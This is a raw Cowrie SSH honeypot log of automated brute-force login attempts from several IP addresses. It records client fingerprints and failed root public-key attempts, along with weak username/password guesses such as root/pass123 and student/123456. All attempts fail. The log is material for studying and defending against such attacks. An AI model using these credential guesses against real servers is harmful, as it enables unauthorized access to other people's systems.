{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":43594,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ddf49995bf3","protocol":"ssh","message":"New connection: 87.251.79.125:43594 (159.203.135.109:22) [session: 1ddf49995bf3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:24.920793Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:24.926096Z","src_ip":"87.251.79.125","session":"1ddf49995bf3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:24.997638Z","src_ip":"87.251.79.125","session":"1ddf49995bf3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pass123","message":"login attempt [root/pass123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:25.215683Z","src_ip":"87.251.79.125","session":"1ddf49995bf3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:25.402202Z","src_ip":"192.109.200.237","session":"c5f47a168ebc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:26.289640Z","src_ip":"87.251.79.125","session":"1ddf49995bf3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":56978,"dst_ip":"159.203.135.109","dst_port":22,"session":"fafa070ca7f7","protocol":"ssh","message":"New connection: 192.109.200.237:56978 (159.203.135.109:22) [session: fafa070ca7f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:26.919233Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:26.923231Z","src_ip":"192.109.200.237","session":"fafa070ca7f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:27.004318Z","src_ip":"192.109.200.237","session":"fafa070ca7f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"123456","message":"login attempt [student/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:27.249301Z","src_ip":"192.109.200.237","session":"fafa070ca7f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:28.334917Z","src_ip":"192.109.200.237","session":"fafa070ca7f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":56982,"dst_ip":"159.203.135.109","dst_port":22,"session":"b298387ac220","protocol":"ssh","message":"New connection: 192.109.200.237:56982 (159.203.135.109:22) [session: b298387ac220]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:29.931427Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:29.936408Z","src_ip":"192.109.200.237","session":"b298387ac220","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:30.019317Z","src_ip":"192.109.200.237","session":"b298387ac220","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aiuser","password":"123456","message":"login attempt [aiuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:30.271913Z","src_ip":"192.109.200.237","session":"b298387ac220","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:31.358430Z","src_ip":"192.109.200.237","session":"b298387ac220","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"199.71.214.139","src_port":39092,"dst_ip":"10.17.0.5","dst_port":22,"session":"1a97c6ab40f7","protocol":"ssh","message":"New connection: 199.71.214.139:39092 (10.17.0.5:22) [session: 1a97c6ab40f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:32.857917Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:32.863123Z","src_ip":"199.71.214.139","session":"1a97c6ab40f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:32.911077Z","src_ip":"199.71.214.139","session":"1a97c6ab40f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":50506,"dst_ip":"159.203.135.109","dst_port":22,"session":"73adeb941165","protocol":"ssh","message":"New connection: 192.109.200.237:50506 (159.203.135.109:22) [session: 73adeb941165]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:33.102746Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:33.107094Z","src_ip":"192.109.200.237","session":"73adeb941165","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c4:0d:15:c6:eb:44:8d:a4:37:b1:d3:19:91:ed:20:ca","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCtR6ZtMl63D41af5Ddn+aj9iH4q3ym2kHCY+p+cxtygQU0IPLpymyfFqerg/6S+asJwujIshre5fE2eILbr14bOsBGhaITkT4ChFqHkjq2Li1kG0FWS42KU2g90pzx+d0hynLvtBn0wlNvjry4Mhpxt51LLBZoBR3GtE7vIx1Q7T9cQUp0Lg6ItN/wAjFXqvZ+/oa840kId+VKfT6bgaOuoHDBPkSaP12NP1eGTa+FYzzNT15jR2dBdpjggxZQY9912zKnhrecOrVgcxzwWe6ol8sOUef98/VIWqSH74KI/HRJFdG2ulociNYpsliVF0aL2I06djq5mLr1Z57wS7i5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c4:0d:15:c6:eb:44:8d:a4:37:b1:d3:19:91:ed:20:ca","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:33.120695Z","src_ip":"199.71.214.139","session":"1a97c6ab40f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c4:0d:15:c6:eb:44:8d:a4:37:b1:d3:19:91:ed:20:ca","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCtR6ZtMl63D41af5Ddn+aj9iH4q3ym2kHCY+p+cxtygQU0IPLpymyfFqerg/6S+asJwujIshre5fE2eILbr14bOsBGhaITkT4ChFqHkjq2Li1kG0FWS42KU2g90pzx+d0hynLvtBn0wlNvjry4Mhpxt51LLBZoBR3GtE7vIx1Q7T9cQUp0Lg6ItN/wAjFXqvZ+/oa840kId+VKfT6bgaOuoHDBPkSaP12NP1eGTa+FYzzNT15jR2dBdpjggxZQY9912zKnhrecOrVgcxzwWe6ol8sOUef98/VIWqSH74KI/HRJFdG2ulociNYpsliVF0aL2I06djq5mLr1Z57wS7i5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:33.123872Z","src_ip":"199.71.214.139","session":"1a97c6ab40f7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"93:cd:ed:7e:23:46:87:6c:0c:17:5e:dd:64:31:c5:61","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDihgGebrioajVllUBjyQln9LLQEmoIEi8NByAJGZ/+7qr9nWbBAKRUlK5haIx4RViOLDjLG0a0LUz752nqL4vrQpT++nzHwfGuDcAklar4T+PFl2iPB1A2tqvRi0sJ/yUrCXvXjvIJxzf22SXlnTGzaqPr08gXnpMRM3nWJRZBQD8veJK98y2RLyKX59KkG6jhDTgsoGXg2eO0BiaWt3a49mjcfGGyoagacyoLuHYzEKzExc75ABqcZoEyfmIk2qWJUcacbAYzjLn7FiF5s6JEpqxJWXdncMZ/l4vLdE9NIfJf3A2Fy4HmvW190nJDIvILyGnE4ddYlA3yt7iYm1CoH2egZ6YQ2TE0JAtKtsySx+MeO0wsVzXdmzt0XQ0c37N+/+gtRYOSC7uw8lO2A5sm0W+0B0rxhxSvkZqteSCsucu/QoDUnr0qf+Vg4VpIDpskXVCshXDp4Iot7mpKS5xivCQlBGhToMbFFUM4ODK5q3svglMM2IDi8iSAd/dhrOc=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 93:cd:ed:7e:23:46:87:6c:0c:17:5e:dd:64:31:c5:61","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:33.169397Z","src_ip":"199.71.214.139","session":"1a97c6ab40f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"93:cd:ed:7e:23:46:87:6c:0c:17:5e:dd:64:31:c5:61","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDihgGebrioajVllUBjyQln9LLQEmoIEi8NByAJGZ/+7qr9nWbBAKRUlK5haIx4RViOLDjLG0a0LUz752nqL4vrQpT++nzHwfGuDcAklar4T+PFl2iPB1A2tqvRi0sJ/yUrCXvXjvIJxzf22SXlnTGzaqPr08gXnpMRM3nWJRZBQD8veJK98y2RLyKX59KkG6jhDTgsoGXg2eO0BiaWt3a49mjcfGGyoagacyoLuHYzEKzExc75ABqcZoEyfmIk2qWJUcacbAYzjLn7FiF5s6JEpqxJWXdncMZ/l4vLdE9NIfJf3A2Fy4HmvW190nJDIvILyGnE4ddYlA3yt7iYm1CoH2egZ6YQ2TE0JAtKtsySx+MeO0wsVzXdmzt0XQ0c37N+/+gtRYOSC7uw8lO2A5sm0W+0B0rxhxSvkZqteSCsucu/QoDUnr0qf+Vg4VpIDpskXVCshXDp4Iot7mpKS5xivCQlBGhToMbFFUM4ODK5q3svglMM2IDi8iSAd/dhrOc=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:33.173958Z","src_ip":"199.71.214.139","session":"1a97c6ab40f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:33.188534Z","src_ip":"192.109.200.237","session":"73adeb941165","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f2:a5:db:d0:ce:ea:b2:87:ea:5a:07:3d:09:81:b4:3b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCjFvziwH9Q3f2Iw5+T4BJvCKpgtv2IJCs1GZDv3iIN6nYFrOY4OO2ntTMFzWRgUvtD3YQHzdocrANCLe+M6cKpYhZPBT1mpuxUl7OS4oULxkbJ9/xRLWsqK3Jhd44ZGRSD20Vi08P8cIZPSlLcBVW/djdC+V6TrgptTgh3EvP0K9iZYH+2U2typc5ZwQLxn+qDGUhyXocWk7lBh6+0I15r1XX1J7xtZlOdcfnQ7dEpku2r3n1oPuBrzUnWsVCd8paO49TQLlgby15uxoPI/lrk3arhGfNc+ZLF6Ej3aYvFV5CoIM+PKUU7s78GMtxYug0OXwNxiuBmhwGA5V3mwAkT","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f2:a5:db:d0:ce:ea:b2:87:ea:5a:07:3d:09:81:b4:3b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:33.219329Z","src_ip":"199.71.214.139","session":"1a97c6ab40f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f2:a5:db:d0:ce:ea:b2:87:ea:5a:07:3d:09:81:b4:3b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCjFvziwH9Q3f2Iw5+T4BJvCKpgtv2IJCs1GZDv3iIN6nYFrOY4OO2ntTMFzWRgUvtD3YQHzdocrANCLe+M6cKpYhZPBT1mpuxUl7OS4oULxkbJ9/xRLWsqK3Jhd44ZGRSD20Vi08P8cIZPSlLcBVW/djdC+V6TrgptTgh3EvP0K9iZYH+2U2typc5ZwQLxn+qDGUhyXocWk7lBh6+0I15r1XX1J7xtZlOdcfnQ7dEpku2r3n1oPuBrzUnWsVCd8paO49TQLlgby15uxoPI/lrk3arhGfNc+ZLF6Ej3aYvFV5CoIM+PKUU7s78GMtxYug0OXwNxiuBmhwGA5V3mwAkT","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:33.223108Z","src_ip":"199.71.214.139","session":"1a97c6ab40f7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"89:02:61:7f:77:00:29:a8:b0:ca:36:ba:d8:fb:1a:dd","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINs7Ff7rzkteRhvlulQQAR8xJp/5k97zOaIOzvC3HY+s","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 89:02:61:7f:77:00:29:a8:b0:ca:36:ba:d8:fb:1a:dd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:33.269470Z","src_ip":"199.71.214.139","session":"1a97c6ab40f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"89:02:61:7f:77:00:29:a8:b0:ca:36:ba:d8:fb:1a:dd","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINs7Ff7rzkteRhvlulQQAR8xJp/5k97zOaIOzvC3HY+s","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:33.273668Z","src_ip":"199.71.214.139","session":"1a97c6ab40f7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f2:7d:49:c3:aa:24:10:03:02:f2:06:a4:0c:f6:b5:db","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDoc/X0O/0NUVFTxWYvYYFJmvmK/Zm3Dx/rueqjKcuv3jZH/HRejREgBIju0exZrKwK7JRdoGDVvdD+F55g4ObqOGsk+kjvPBktSXTjLXCzKXwABbsibNLakztug87obHQAvPAXPldBTJjlhqqRGeovBy0AOfYwVWPjoO0tqfk5axDh5+0NXH5OWSTwkUJ058gdClP5LCadqZKRWVqfVkkQVTpCSNDeQdT167GAhOtQbdyZpEia5Nj1U2U7gP8XOqXNng08EBTm18WYI35hkH9hXgxPbxMbev4PIuePi9RnD2jzNCvPVR6kZ1pqX2JDRmgYUZNXQXw99Sfs97BhvLnL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f2:7d:49:c3:aa:24:10:03:02:f2:06:a4:0c:f6:b5:db","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:33.319478Z","src_ip":"199.71.214.139","session":"1a97c6ab40f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f2:7d:49:c3:aa:24:10:03:02:f2:06:a4:0c:f6:b5:db","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDoc/X0O/0NUVFTxWYvYYFJmvmK/Zm3Dx/rueqjKcuv3jZH/HRejREgBIju0exZrKwK7JRdoGDVvdD+F55g4ObqOGsk+kjvPBktSXTjLXCzKXwABbsibNLakztug87obHQAvPAXPldBTJjlhqqRGeovBy0AOfYwVWPjoO0tqfk5axDh5+0NXH5OWSTwkUJ058gdClP5LCadqZKRWVqfVkkQVTpCSNDeQdT167GAhOtQbdyZpEia5Nj1U2U7gP8XOqXNng08EBTm18WYI35hkH9hXgxPbxMbev4PIuePi9RnD2jzNCvPVR6kZ1pqX2JDRmgYUZNXQXw99Sfs97BhvLnL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:33.322933Z","src_ip":"199.71.214.139","session":"1a97c6ab40f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:33.369664Z","src_ip":"199.71.214.139","session":"1a97c6ab40f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"git","message":"login attempt [user/git] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:33.620466Z","src_ip":"192.109.200.237","session":"73adeb941165","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:34.705139Z","src_ip":"192.109.200.237","session":"73adeb941165","protocol":"ssh"}
